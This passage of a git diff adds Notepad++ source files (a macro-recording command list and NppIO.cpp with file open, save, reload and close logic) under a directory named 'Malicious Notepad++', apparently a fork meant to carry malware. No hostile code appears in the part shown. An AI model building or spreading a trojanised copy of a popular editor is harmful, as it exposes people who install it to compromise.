(_pluginsManager.inDynamicRange(id)) // in the dynamic range allocated with NPPM_ALLOCATECMDID + { + _pluginsManager.relayNppMessages(WM_COMMAND, id, 0); + } +/*UNLOAD + else if ((id >= ID_PLUGINS_REMOVING) && (id < ID_PLUGINS_REMOVING_END)) + { + int i = id - ID_PLUGINS_REMOVING; + _pluginsManager.unloadPlugin(i, _pPublicInterface->getHSelf()); + } +*/ + else if ((id >= IDM_WINDOW_MRU_FIRST) && (id <= IDM_WINDOW_MRU_LIMIT)) + { + activateDoc(id-IDM_WINDOW_MRU_FIRST); + } + } + + if (_recordingMacro) + switch (id) + { + case IDM_FILE_NEW : + case IDM_FILE_CLOSE : + case IDM_FILE_CLOSEALL : + case IDM_FILE_CLOSEALL_BUT_CURRENT : + case IDM_FILE_CLOSEALL_TOLEFT : + case IDM_FILE_CLOSEALL_TORIGHT : + case IDM_FILE_SAVE : + case IDM_FILE_SAVEALL : + case IDM_FILE_RELOAD: + case IDM_EDIT_UNDO: + case IDM_EDIT_REDO: + case IDM_EDIT_CUT: + case IDM_EDIT_COPY: + //case IDM_EDIT_PASTE: + case IDM_EDIT_DELETE: + case IDM_SEARCH_FINDNEXT : + case IDM_SEARCH_FINDPREV : + case IDM_SEARCH_SETANDFINDNEXT : + case IDM_SEARCH_SETANDFINDPREV : + case IDM_SEARCH_GOTOMATCHINGBRACE : + case IDM_SEARCH_SELECTMATCHINGBRACES : + case IDM_SEARCH_TOGGLE_BOOKMARK : + case IDM_SEARCH_NEXT_BOOKMARK: + case IDM_SEARCH_PREV_BOOKMARK: + case IDM_SEARCH_CLEAR_BOOKMARKS: + case IDM_EDIT_SELECTALL: + case IDM_EDIT_INS_TAB: + case IDM_EDIT_RMV_TAB: + case IDM_EDIT_DUP_LINE: + case IDM_EDIT_TRANSPOSE_LINE: + case IDM_EDIT_SPLIT_LINES: + case IDM_EDIT_JOIN_LINES: + case IDM_EDIT_LINE_UP: + case IDM_EDIT_LINE_DOWN: + case IDM_EDIT_REMOVEEMPTYLINES: + case IDM_EDIT_REMOVEEMPTYLINESWITHBLANK: + case IDM_EDIT_UPPERCASE: + case IDM_EDIT_LOWERCASE: + case IDM_EDIT_PROPERCASE_FORCE: + case IDM_EDIT_PROPERCASE_BLEND: + case IDM_EDIT_SENTENCECASE_FORCE: + case IDM_EDIT_SENTENCECASE_BLEND: + case IDM_EDIT_INVERTCASE: + case IDM_EDIT_RANDOMCASE: + case IDM_EDIT_BLOCK_COMMENT: + case IDM_EDIT_BLOCK_COMMENT_SET: + case IDM_EDIT_BLOCK_UNCOMMENT: + case IDM_EDIT_STREAM_COMMENT: + case IDM_EDIT_TRIMTRAILING: + case IDM_EDIT_TRIMLINEHEAD: + case IDM_EDIT_TRIM_BOTH: + case IDM_EDIT_EOL2WS: + case IDM_EDIT_TRIMALL: + case IDM_EDIT_TAB2SW: + case IDM_EDIT_SW2TAB_ALL: + case IDM_EDIT_SW2TAB_LEADING: + case IDM_EDIT_SETREADONLY : + case IDM_EDIT_FULLPATHTOCLIP : + case IDM_EDIT_FILENAMETOCLIP : + case IDM_EDIT_CURRENTDIRTOCLIP : + case IDM_EDIT_CLEARREADONLY : + case IDM_EDIT_RTL : + case IDM_EDIT_LTR : + case IDM_EDIT_BEGINENDSELECT: + case IDM_EDIT_SORTLINES_LEXICOGRAPHIC_ASCENDING: + case IDM_EDIT_SORTLINES_LEXICOGRAPHIC_DESCENDING: + case IDM_EDIT_SORTLINES_INTEGER_ASCENDING: + case IDM_EDIT_SORTLINES_INTEGER_DESCENDING: + case IDM_EDIT_SORTLINES_DECIMALCOMMA_ASCENDING: + case IDM_EDIT_SORTLINES_DECIMALCOMMA_DESCENDING: + case IDM_EDIT_SORTLINES_DECIMALDOT_ASCENDING: + case IDM_EDIT_SORTLINES_DECIMALDOT_DESCENDING: + case IDM_EDIT_BLANKLINEABOVECURRENT: + case IDM_EDIT_BLANKLINEBELOWCURRENT: + case IDM_VIEW_FULLSCREENTOGGLE : + case IDM_VIEW_ALWAYSONTOP : + case IDM_VIEW_WRAP : + case IDM_VIEW_FOLD_CURRENT : + case IDM_VIEW_UNFOLD_CURRENT : + case IDM_VIEW_TOGGLE_FOLDALL: + case IDM_VIEW_TOGGLE_UNFOLDALL: + case IDM_VIEW_FOLD_1: + case IDM_VIEW_FOLD_2: + case IDM_VIEW_FOLD_3: + case IDM_VIEW_FOLD_4: + case IDM_VIEW_FOLD_5: + case IDM_VIEW_FOLD_6: + case IDM_VIEW_FOLD_7: + case IDM_VIEW_FOLD_8: + case IDM_VIEW_UNFOLD_1: + case IDM_VIEW_UNFOLD_2: + case IDM_VIEW_UNFOLD_3: + case IDM_VIEW_UNFOLD_4: + case IDM_VIEW_UNFOLD_5: + case IDM_VIEW_UNFOLD_6: + case IDM_VIEW_UNFOLD_7: + case IDM_VIEW_UNFOLD_8: + case IDM_VIEW_GOTO_ANOTHER_VIEW: + case IDM_VIEW_SYNSCROLLV: + case IDM_VIEW_SYNSCROLLH: + case IDM_VIEW_TAB1: + case IDM_VIEW_TAB2: + case IDM_VIEW_TAB3: + case IDM_VIEW_TAB4: + case IDM_VIEW_TAB5: + case IDM_VIEW_TAB6: + case IDM_VIEW_TAB7: + case IDM_VIEW_TAB8: + case IDM_VIEW_TAB9: + case IDM_VIEW_TAB_NEXT: + case IDM_VIEW_TAB_PREV: + case IDM_VIEW_TAB_MOVEFORWARD: + case IDM_VIEW_TAB_MOVEBACKWARD: + case IDC_PREV_DOC : + case IDC_NEXT_DOC : + case IDM_SEARCH_GOPREVMARKER1 : + case IDM_SEARCH_GOPREVMARKER2 : + case IDM_SEARCH_GOPREVMARKER3 : + case IDM_SEARCH_GOPREVMARKER4 : + case IDM_SEARCH_GOPREVMARKER5 : + case IDM_SEARCH_GOPREVMARKER_DEF: + case IDM_SEARCH_GONEXTMARKER1 : + case IDM_SEARCH_GONEXTMARKER2 : + case IDM_SEARCH_GONEXTMARKER3 : + case IDM_SEARCH_GONEXTMARKER4 : + case IDM_SEARCH_GONEXTMARKER5 : + case IDM_SEARCH_GONEXTMARKER_DEF: + case IDM_SEARCH_VOLATILE_FINDNEXT: + case IDM_SEARCH_VOLATILE_FINDPREV: + case IDM_SEARCH_CUTMARKEDLINES : + case IDM_SEARCH_COPYMARKEDLINES : + case IDM_SEARCH_PASTEMARKEDLINES : + case IDM_SEARCH_DELETEMARKEDLINES : + case IDM_SEARCH_DELETEUNMARKEDLINES : + case IDM_SEARCH_MARKALLEXT1 : + case IDM_SEARCH_UNMARKALLEXT1 : + case IDM_SEARCH_MARKALLEXT2 : + case IDM_SEARCH_UNMARKALLEXT2 : + case IDM_SEARCH_MARKALLEXT3 : + case IDM_SEARCH_UNMARKALLEXT3 : + case IDM_SEARCH_MARKALLEXT4 : + case IDM_SEARCH_UNMARKALLEXT4 : + case IDM_SEARCH_MARKALLEXT5 : + case IDM_SEARCH_UNMARKALLEXT5 : + case IDM_SEARCH_CLEARALLMARKS : + _macro.push_back(recordedMacroStep(id)); + break; + } +} diff --git a/Malicious Notepad++/src/NppIO.cpp b/Malicious Notepad++/src/NppIO.cpp new file mode 100644 index 0000000..a1c2270 --- /dev/null +++ b/Malicious Notepad++/src/NppIO.cpp @@ -0,0 +1,1914 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include +#include +#include "Notepad_plus_Window.h" +#include "FileDialog.h" +#include "EncodingMapper.h" +#include "VerticalFileSwitcher.h" +#include "functionListPanel.h" +#include "ReadDirectoryChanges.h" +#include + +using namespace std; + + +DWORD WINAPI Notepad_plus::monitorFileOnChange(void * params) +{ + MonitorInfo *monitorInfo = static_cast(params); + Buffer *buf = monitorInfo->_buffer; + HWND h = monitorInfo->_nppHandle; + + const TCHAR *fullFileName = (const TCHAR *)buf->getFullPathName(); + + //The folder to watch : + WCHAR folderToMonitor[MAX_PATH]; + //::MessageBoxW(NULL, mfp->_fullFilePath, TEXT("PATH AFTER thread"), MB_OK); + lstrcpy(folderToMonitor, fullFileName); + //MessageBox(NULL, fullFileName, TEXT("fullFileName"), MB_OK); + + ::PathRemoveFileSpecW(folderToMonitor); + + //MessageBox(NULL, folderToMonitor, TEXT("folderToMonitor"), MB_OK); + + const DWORD dwNotificationFlags = FILE_NOTIFY_CHANGE_LAST_WRITE | FILE_NOTIFY_CHANGE_FILE_NAME; + + // Create the monitor and add directory to watch. + CReadDirectoryChanges changes; + changes.AddDirectory(folderToMonitor, true, dwNotificationFlags); + + HANDLE changeHandles[] = { buf->getMonitoringEvent(), changes.GetWaitHandle() }; + + bool toBeContinued = true; + + while (toBeContinued) + { + DWORD waitStatus = ::WaitForMultipleObjects(_countof(changeHandles), changeHandles, FALSE, INFINITE); + switch (waitStatus) + { + case WAIT_OBJECT_0 + 0: + // Mutex was signaled. User removes this folder or file browser is closed + toBeContinued = false; + break; + + case WAIT_OBJECT_0 + 1: + // We've received a notification in the queue. + { + DWORD dwAction; + CStringW wstrFilename; + if (changes.CheckOverflow()) + printStr(L"Queue overflowed."); + else + { + changes.Pop(dwAction, wstrFilename); + generic_string fn = wstrFilename.GetString(); + + // Fix monitoring files which are under root problem + size_t pos = fn.find(TEXT("\\\\")); + if (pos == 2) + fn.replace(pos, 2, TEXT("\\")); + + if (lstrcmp(fullFileName, fn.c_str()) == 0) + { + if (dwAction == FILE_ACTION_MODIFIED) + { + ::PostMessage(h, NPPM_INTERNAL_RELOADSCROLLTOEND, reinterpret_cast(buf), 0); + } + else if ((dwAction == FILE_ACTION_REMOVED) || (dwAction == FILE_ACTION_RENAMED_OLD_NAME)) + { + // File is deleted or renamed - quit monitoring thread and close file + ::PostMessage(h, NPPM_MENUCOMMAND, 0, IDM_VIEW_MONITORING); + ::PostMessage(h, NPPM_INTERNAL_CHECKDOCSTATUS, 0, 0); + } + } + } + } + break; + + case WAIT_IO_COMPLETION: + // Nothing to do. + break; + } + } + + // Just for sample purposes. The destructor will + // call Terminate() automatically. + changes.Terminate(); + //MessageBox(NULL, TEXT("FREEDOM !!!"), TEXT("out"), MB_OK); + delete monitorInfo; + return EXIT_SUCCESS; +} + +BufferID Notepad_plus::doOpen(const generic_string& fileName, bool isRecursive, bool isReadOnly, int encoding, const TCHAR *backupFileName, time_t fileNameTimestamp) +{ + const rsize_t longFileNameBufferSize = MAX_PATH; // TODO stop using fixed-size buffer + if (fileName.size() >= longFileNameBufferSize - 1) // issue with all other sub-routines + return BUFFER_INVALID; + + //If [GetFullPathName] succeeds, the return value is the length, in TCHARs, of the string copied to lpBuffer, not including the terminating null character. + //If the lpBuffer buffer is too small to contain the path, the return value [of GetFullPathName] is the size, in TCHARs, of the buffer that is required to hold the path and the terminating null character. + //If [GetFullPathName] fails for any other reason, the return value is zero. + + NppParameters *pNppParam = NppParameters::getInstance(); + TCHAR longFileName[longFileNameBufferSize]; + + const DWORD getFullPathNameResult = ::GetFullPathName(fileName.c_str(), longFileNameBufferSize, longFileName, NULL); + if (getFullPathNameResult == 0) + { + return BUFFER_INVALID; + } + if (getFullPathNameResult > longFileNameBufferSize) + { + return BUFFER_INVALID; + } + assert(_tcslen(longFileName) == getFullPathNameResult); + + if (_tcschr(longFileName, '~')) + { + // ignore the returned value of function due to win64 redirection system + ::GetLongPathName(longFileName, longFileName, longFileNameBufferSize); + } + + bool isSnapshotMode = backupFileName != NULL && PathFileExists(backupFileName); + if (isSnapshotMode && !PathFileExists(longFileName)) // UNTITLED + { + lstrcpy(longFileName, fileName.c_str()); + } + + + _lastRecentFileList.remove(longFileName); + + generic_string fileName2Find; + generic_string gs_fileName{fileName}; + size_t res = gs_fileName.find_first_of(UNTITLED_STR); + + if (res != string::npos && res == 0) + { + fileName2Find = fileName; + } + else + { + fileName2Find = longFileName; + } + + BufferID test = MainFileManager->getBufferFromName(fileName2Find.c_str()); + if (test != BUFFER_INVALID && !isSnapshotMode) + { + //switchToFile(test); + //Dont switch, not responsibility of doOpen, but of caller + if (_pTrayIco) + { + if (_pTrayIco->isInTray()) + { + ::ShowWindow(_pPublicInterface->getHSelf(), SW_SHOW); + if (!_pPublicInterface->isPrelaunch()) + _pTrayIco->doTrayIcon(REMOVE); + ::SendMessage(_pPublicInterface->getHSelf(), WM_SIZE, 0, 0); + } + } + return test; + } + + if (isFileSession(longFileName) && PathFileExists(longFileName)) + { + fileLoadSession(longFileName); + return BUFFER_INVALID; + } + + if (isFileWorkspace(longFileName) && PathFileExists(longFileName)) + { + pNppParam->setWorkSpaceFilePath(0, longFileName); + command(IDM_VIEW_PROJECT_PANEL_1); + return BUFFER_INVALID; + } + + bool isWow64Off = false; + if (!PathFileExists(longFileName)) + { + pNppParam->safeWow64EnableWow64FsRedirection(FALSE); + isWow64Off = true; + } + + bool globbing = wcsrchr(longFileName, TCHAR('*')) || wcsrchr(longFileName, TCHAR('?')); + + if (!isSnapshotMode) // if not backup mode, or backupfile path is invalid + { + if (!PathFileExists(longFileName) && !globbing) + { + TCHAR str2display[MAX_PATH*2]; + generic_string longFileDir(longFileName); + PathRemoveFileSpec(longFileDir); + + bool isCreateFileSuccessful = false; + if (PathFileExists(longFileDir.c_str())) + { + wsprintf(str2display, TEXT("%s doesn't exist. Create it?"), longFileName); + if (::MessageBox(_pPublicInterface->getHSelf(), str2display, TEXT("Create new file"), MB_YESNO) == IDYES) + { + bool res = MainFileManager->createEmptyFile(longFileName); + if (res) + { + isCreateFileSuccessful = true; + } + else + { + wsprintf(str2display, TEXT("Cannot create the file \"%s\""), longFileName); + ::MessageBox(_pPublicInterface->getHSelf(), str2display, TEXT("Create new file"), MB_OK); + } + } + } + else + { + wsprintf(str2display, TEXT("\"%s\" cannot be opened:\nFolder \"%s\" doesn't exist."), longFileName, longFileDir.c_str()); + ::MessageBox(_pPublicInterface->getHSelf(), str2display, TEXT("Cannot open file"), MB_OK); + } + + if (!isCreateFileSuccessful) + { + if (isWow64Off) + { + pNppParam->safeWow64EnableWow64FsRedirection(TRUE); + isWow64Off = false; + } + return BUFFER_INVALID; + } + } + } + + // Notify plugins that current file is about to load + // Plugins can should use this notification to filter SCN_MODIFIED + SCNotification scnN; + scnN.nmhdr.code = NPPN_FILEBEFORELOAD; + scnN.nmhdr.hwndFrom = _pPublicInterface->getHSelf(); + scnN.nmhdr.idFrom = NULL; + _pluginsManager.notify(&scnN); + + if (encoding == -1) + { + encoding = getHtmlXmlEncoding(longFileName); + } + + BufferID buffer; + if (isSnapshotMode) + { + buffer = MainFileManager->loadFile(longFileName, NULL, encoding, backupFileName, fileNameTimestamp); + + if (buffer != BUFFER_INVALID) + { + bool isSnapshotMode = (backupFileName != NULL and PathFileExists(backupFileName)); + if (isSnapshotMode) + { + // To notify plugins that a snapshot dirty file is loaded on startup + SCNotification scnN; + scnN.nmhdr.hwndFrom = 0; + scnN.nmhdr.idFrom = (uptr_t)buffer; + scnN.nmhdr.code = NPPN_SNAPSHOTDIRTYFILELOADED; + _pluginsManager.notify(&scnN); + + buffer->setLoadedDirty(true); + } + } + } + else + { + buffer = MainFileManager->loadFile(longFileName, NULL, encoding); + } + + if (buffer != BUFFER_INVALID) + { + _isFileOpening = true; + + Buffer * buf = MainFileManager->getBufferByID(buffer); + + // if file is read only, we set the view read only + if (isReadOnly) + buf->setUserReadOnly(true); + + // Notify plugins that current file is about to open + scnN.nmhdr.code = NPPN_FILEBEFOREOPEN; + scnN.nmhdr.idFrom = (uptr_t)buffer; + _pluginsManager.notify(&scnN); + + + loadBufferIntoView(buffer, currentView()); + + if (_pTrayIco) + { + if (_pTrayIco->isInTray()) + { + ::ShowWindow(_pPublicInterface->getHSelf(), SW_SHOW); + if (!_pPublicInterface->isPrelaunch()) + _pTrayIco->doTrayIcon(REMOVE); + ::SendMessage(_pPublicInterface->getHSelf(), WM_SIZE, 0, 0); + } + } + PathRemoveFileSpec(longFileName); + _linkTriggered = true; + _isFileOpening = false; + + // Notify plugins that current file is just opened + scnN.nmhdr.code = NPPN_FILEOPENED; + _pluginsManager.notify(&scnN); + if (_pFileSwitcherPanel) + _pFileSwitcherPanel->newItem(buf, currentView()); + } + else + { + if (globbing || ::PathIsDirectory(fileName.c_str())) + { + vector fileNames; + vector patterns; + if (globbing) + { + const TCHAR * substring = wcsrchr(fileName.c_str(), TCHAR('\\')); + size_t pos = substring - fileName.c_str(); + + patterns.push_back(substring + 1); + generic_string dir(fileName.c_str(), pos + 1); // use char * to evoke: + // string (const char* s, size_t n); + // and avoid to call (if pass string) : + // string (const string& str, size_t pos, size_t len = npos); + + getMatchedFileNames(dir.c_str(), patterns, fileNames, isRecursive, false); + } + else + { + generic_string fileNameStr = fileName; + if (fileName[fileName.size() - 1] != '\\') + fileNameStr += TEXT("\\"); + + patterns.push_back(TEXT("*")); + getMatchedFileNames(fileNameStr.c_str(), patterns, fileNames, true, false); + } + + bool ok2Open = true; + size_t nbFiles2Open = fileNames.size(); + + if (nbFiles2Open > 200) + { + ok2Open = IDYES == _nativeLangSpeaker.messageBox("NbFileToOpenImportantWarning", + _pPublicInterface->getHSelf(), + TEXT("$INT_REPLACE$ files are about to be opened.\rAre you sure to open them?"), + TEXT("Amount of files to open is too large"), + MB_YESNO|MB_APPLMODAL, + static_cast(nbFiles2Open)); + } + + if (ok2Open) + { + for (size_t i = 0 ; i < nbFiles2Open ; ++i) + doOpen(fileNames[i]); + } + } + else + { + generic_string msg = TEXT("Can not open file \""); + msg += longFileName; + msg += TEXT("\"."); + ::MessageBox(_pPublicInterface->getHSelf(), msg.c_str(), TEXT("ERROR"), MB_OK); + _isFileOpening = false; + + scnN.nmhdr.code = NPPN_FILELOADFAILED; + _pluginsManager.notify(&scnN); + } + } + + if (isWow64Off) + { + pNppParam->safeWow64EnableWow64FsRedirection(TRUE); + //isWow64Off = false; + } + return buffer; +} + + +bool Notepad_plus::doReload(BufferID id, bool alert) +{ + if (alert) + { + int answer = _nativeLangSpeaker.messageBox("DocReloadWarning", + _pPublicInterface->getHSelf(), + TEXT("Are you sure you want to reload the current file and lose the changes made in Notepad++?"), + TEXT("Reload"), + MB_YESNO | MB_ICONEXCLAMATION | MB_APPLMODAL); + if (answer != IDYES) + return false; + } + + //In order to prevent Scintilla from restyling the entire document, + //an empty Document is inserted during reload if needed. + bool mainVisisble = (_mainEditView.getCurrentBufferID() == id); + bool subVisisble = (_subEditView.getCurrentBufferID() == id); + if (mainVisisble) { + _mainEditView.saveCurrentPos(); + _mainEditView.execute(SCI_SETDOCPOINTER, 0, 0); + } + if (subVisisble) { + _subEditView.saveCurrentPos(); + _subEditView.execute(SCI_SETDOCPOINTER, 0, 0); + } + + if (!mainVisisble && !subVisisble) { + return MainFileManager->reloadBufferDeferred(id); + } + + bool res = MainFileManager->reloadBuffer(id); + Buffer * pBuf = MainFileManager->getBufferByID(id); + if (mainVisisble) { + _mainEditView.execute(SCI_SETDOCPOINTER, 0, pBuf->getDocument()); + _mainEditView.restoreCurrentPos(); + } + if (subVisisble) { + _subEditView.execute(SCI_SETDOCPOINTER, 0, pBuf->getDocument()); + _subEditView.restoreCurrentPos(); + } + + // Once reload is complete, activate buffer which will take care of + // many settings such as update status bar, clickable link etc. + activateBuffer(id, currentView()); + return res; +} + +bool Notepad_plus::doSave(BufferID id, const TCHAR * filename, bool isCopy) +{ + const int index = MainFileManager->getBufferIndexByID(id); + if (index == -1) + { + _nativeLangSpeaker.messageBox("BufferInvalidWarning", + _pPublicInterface->getHSelf(), + TEXT("Cannot save: Buffer is invalid."), + TEXT("Save failed"), + MB_OK | MB_ICONWARNING); + + return false; + } + + SCNotification scnN; + // Notify plugins that current file is about to be saved + if (!isCopy) + { + + scnN.nmhdr.code = NPPN_FILEBEFORESAVE; + scnN.nmhdr.hwndFrom = _pPublicInterface->getHSelf(); + scnN.nmhdr.idFrom = (uptr_t)id; + _pluginsManager.notify(&scnN); + } + + generic_string error_msg; + bool res = MainFileManager->saveBuffer(id, filename, isCopy, &error_msg); + + if (!isCopy) + { + scnN.nmhdr.code = NPPN_FILESAVED; + _pluginsManager.notify(&scnN); + } + + if (!res) + { + // try to open Notepad++ in admin mode + if (!_isAdministrator) + { + bool isSnapshotMode = NppParameters::getInstance()->getNppGUI().isSnapshotMode(); + if (isSnapshotMode) // if both rememberSession && backup mode are enabled + { // Open the 2nd Notepad++ instance in Admin mode, then close the 1st instance. + int openInAdminModeRes = _nativeLangSpeaker.messageBox("OpenInAdminMode", + _pPublicInterface->getHSelf(), + TEXT("The file cannot be saved and it may be protected.\rDo you want to launch Notepad++ in Administrator mode?"), + TEXT("Save failed"), + MB_YESNO); + + if (openInAdminModeRes == IDYES) + { + TCHAR nppFullPath[MAX_PATH]; + ::GetModuleFileName(NULL, nppFullPath, MAX_PATH); + + generic_string args = TEXT("-multiInst"); + size_t res = (size_t)::ShellExecute(_pPublicInterface->getHSelf(), TEXT("runas"), nppFullPath, args.c_str(), TEXT("."), SW_SHOW); + + // If the function succeeds, it returns a value greater than 32. If the function fails, + // it returns an error value that indicates the cause of the failure. + // https://msdn.microsoft.com/en-us/library/windows/desktop/bb762153%28v=vs.85%29.aspx + + if (res < 32) + { + _nativeLangSpeaker.messageBox("OpenInAdminModeFailed", + _pPublicInterface->getHSelf(), + TEXT("Notepad++ cannot be opened in Administrator mode."), + TEXT("Open in Administrator mode failed"), + MB_OK); + } + else + { + ::SendMessage(_pPublicInterface->getHSelf(), WM_CLOSE, 0, 0); + } + + } + } + else // rememberSession && backup mode are not both enabled + { // open only the file to save in Notepad++ of Administrator mode by keeping the current instance. + int openInAdminModeRes = _nativeLangSpeaker.messageBox("OpenInAdminModeWithoutCloseCurrent", + _pPublicInterface->getHSelf(), + TEXT("The file cannot be saved and it may be protected.\rDo you want to launch Notepad++ in Administrator mode?"), + TEXT("Save failed"), + MB_YESNO); + + if (openInAdminModeRes == IDYES) + { + TCHAR nppFullPath[MAX_PATH]; + ::GetModuleFileName(NULL, nppFullPath, MAX_PATH); + + BufferID bufferID = _pEditView->getCurrentBufferID(); + Buffer * buf = MainFileManager->getBufferByID(bufferID); + + //process the fileNamePath into LRF + generic_string fileNamePath = buf->getFullPathName(); + + generic_string args = TEXT("-multiInst -nosession "); + args += TEXT("\""); + args += fileNamePath; + args += TEXT("\""); + size_t res = (size_t)::ShellExecute(_pPublicInterface->getHSelf(), TEXT("runas"), nppFullPath, args.c_str(), TEXT("."), SW_SHOW); + + // If the function succeeds, it returns a value greater than 32. If the function fails, + // it returns an error value that indicates the cause of the failure. + // https://msdn.microsoft.com/en-us/library/windows/desktop/bb762153%28v=vs.85%29.aspx + + if (res < 32) + { + _nativeLangSpeaker.messageBox("OpenInAdminModeFailed", + _pPublicInterface->getHSelf(), + TEXT("Notepad++ cannot be opened in Administrator mode."), + TEXT("Open in Administrator mode failed"), + MB_OK); + } + } + } + + } + else + { + + if (error_msg.empty()) + { + _nativeLangSpeaker.messageBox("FileLockedWarning", + _pPublicInterface->getHSelf(), + TEXT("Please check if this file is opened in another program."), + TEXT("Save failed"), + MB_OK); + } + else + { + ::MessageBox(_pPublicInterface->getHSelf(), error_msg.c_str(), TEXT("Save failed"), MB_OK); + } + } + } + + if (res && _pFuncList && (!_pFuncList->isClosed()) && _pFuncList->isVisible()) + { + _pFuncList->reload(); + } + return res; +} + +void Notepad_plus::doClose(BufferID id, int whichOne, bool doDeleteBackup) +{ + DocTabView *tabToClose = (whichOne == MAIN_VIEW)?&_mainDocTab:&_subDocTab; + int i = tabToClose->getIndexByBuffer(id); + if (i == -1) + return; + + size_t numInitialOpenBuffers = + ((_mainWindowStatus & WindowMainActive) == WindowMainActive ? _mainDocTab.nbItem() : 0) + + ((_mainWindowStatus & WindowSubActive) == WindowSubActive ? _subDocTab.nbItem() : 0); + + if (doDeleteBackup) + MainFileManager->deleteCurrentBufferBackup(); + + Buffer * buf = MainFileManager->getBufferByID(id); + + // Notify plugins that current file is about to be closed + SCNotification scnN; + scnN.nmhdr.code = NPPN_FILEBEFORECLOSE; + scnN.nmhdr.hwndFrom = _pPublicInterface->getHSelf(); + scnN.nmhdr.idFrom = (uptr_t)id; + _pluginsManager.notify(&scnN); + + // Add to recent file history only if file is removed from all the views + // There might be cases when file is cloned/moved to view. + // Don't add to recent list unless file is removed from all the views + generic_string fileFullPath; + if (!buf->isUntitled()) + { + // if the file doesn't exist, it could be redirected + // So we turn Wow64 off + bool isWow64Off = false; + NppParameters *pNppParam = NppParameters::getInstance(); + const TCHAR *fn = buf->getFullPathName(); + if (!PathFileExists(fn)) + { + pNppParam->safeWow64EnableWow64FsRedirection(FALSE); + isWow64Off = true; + } + + if (PathFileExists(buf->getFullPathName())) + fileFullPath = buf->getFullPathName(); + + // We enable Wow64 system, if it was disabled + if (isWow64Off) + { + pNppParam->safeWow64EnableWow64FsRedirection(TRUE); + //isWow64Off = false; + } + } + + size_t nbDocs = whichOne==MAIN_VIEW?(_mainDocTab.nbItem()):(_subDocTab.nbItem()); + + if (buf->isMonitoringOn()) + { + // turn off monitoring + //command(IDM_VIEW_MONITORING); + buf->stopMonitoring(); + checkMenuItem(IDM_VIEW_MONITORING, false); + _toolBar.setCheck(IDM_VIEW_MONITORING, false); + buf->setUserReadOnly(false); + } + + //Do all the works + bool isBufRemoved = removeBufferFromView(id, whichOne); + BufferID hiddenBufferID = BUFFER_INVALID; + if (nbDocs == 1 && canHideView(whichOne)) + { //close the view if both visible + hideView(whichOne); + + // if the current activated buffer is in this view, + // then get buffer ID to remove the entry from File Switcher Pannel + hiddenBufferID = reinterpret_cast(::SendMessage(_pPublicInterface->getHSelf(), NPPM_GETBUFFERIDFROMPOS, 0, whichOne)); + } + + // Notify plugins that current file is closed + if (isBufRemoved) + { + scnN.nmhdr.code = NPPN_FILECLOSED; + _pluginsManager.notify(&scnN); + + // The document could be clonned. + // if the same buffer ID is not found then remove the entry from File Switcher Panel + if (_pFileSwitcherPanel) + { + _pFileSwitcherPanel->closeItem(id, whichOne); + + if (hiddenBufferID != BUFFER_INVALID) + _pFileSwitcherPanel->closeItem(hiddenBufferID, whichOne); + } + + // Add to recent file only if file is removed and does not exist in any of the views + BufferID buffID = MainFileManager->getBufferFromName(fileFullPath.c_str()); + if (buffID == BUFFER_INVALID && fileFullPath.length() > 0) + _lastRecentFileList.add(fileFullPath.c_str()); + } + command(IDM_VIEW_REFRESHTABAR); + + if (NppParameters::getInstance()->getNppGUI()._tabStatus & TAB_QUITONEMPTY) + { + // the user closed the last open tab + if (numInitialOpenBuffers == 1 && isEmpty() && !_isAttemptingCloseOnQuit) + { + command(IDM_FILE_EXIT); + } + } + + return; +} + +generic_string Notepad_plus::exts2Filters(generic_string exts) const +{ + const TCHAR *extStr = exts.c_str(); + TCHAR aExt[MAX_PATH]; + generic_string filters(TEXT("")); + + int j = 0; + bool stop = false; + for (size_t i = 0, len = exts.length(); i < len ; ++i) + { + if (extStr[i] == ' ') + { + if (!stop) + { + aExt[j] = '\0'; + stop = true; + + if (aExt[0]) + { + filters += TEXT("*."); + filters += aExt; + filters += TEXT(";"); + } + j = 0; + } + } + else + { + aExt[j] = extStr[i]; + stop = false; + ++j; + } + } + + if (j > 0) + { + aExt[j] = '\0'; + if (aExt[0]) + { + filters += TEXT("*."); + filters += aExt; + filters += TEXT(";"); + } + } + + // remove the last ';' + filters = filters.substr(0, filters.length()-1); + return filters; +} + +int Notepad_plus::setFileOpenSaveDlgFilters(FileDialog & fDlg, int langType) +{ + NppParameters *pNppParam = NppParameters::getInstance(); + NppGUI & nppGUI = (NppGUI & )pNppParam->getNppGUI(); + + int i = 0; + Lang *l = NppParameters::getInstance()->getLangFromIndex(i++); + + int ltIndex = 0; + bool ltFound = false; + while (l) + { + LangType lid = l->getLangID(); + + bool inExcludedList = false; + + for (size_t j = 0, len = nppGUI._excludedLangList.size() ; j < len ; ++j) + { + if (lid == nppGUI._excludedLangList[j]._langType) + { + inExcludedList = true; + break; + } + } + + if (!inExcludedList) + { + const TCHAR *defList = l->getDefaultExtList(); + const TCHAR *userList = NULL; + + LexerStylerArray &lsa = (NppParameters::getInstance())->getLStylerArray(); + const TCHAR *lName = l->getLangName(); + LexerStyler *pLS = lsa.getLexerStylerByName(lName); + + if (pLS) + userList = pLS->getLexerUserExt(); + + generic_string list(TEXT("")); + if (defList) + list += defList; + if (userList) + { + list += TEXT(" "); + list += userList; + } + + generic_string stringFilters = exts2Filters(list); + const TCHAR *filters = stringFilters.c_str(); + if (filters[0]) + { + fDlg.setExtsFilter(getLangDesc(lid, false).c_str(), filters); + + // + // Get index of lang type to find + // + if (langType != -1 && !ltFound) + { + ltFound = langType == lid; + } + + if (langType != -1 && !ltFound) + { + ++ltIndex; + } + } + } + l = (NppParameters::getInstance())->getLangFromIndex(i++); + } + + if (!ltFound) + return -1; + return ltIndex; +} + + +bool Notepad_plus::fileClose(BufferID id, int curView) +{ + BufferID bufferID = id; + if (id == BUFFER_INVALID) + bufferID = 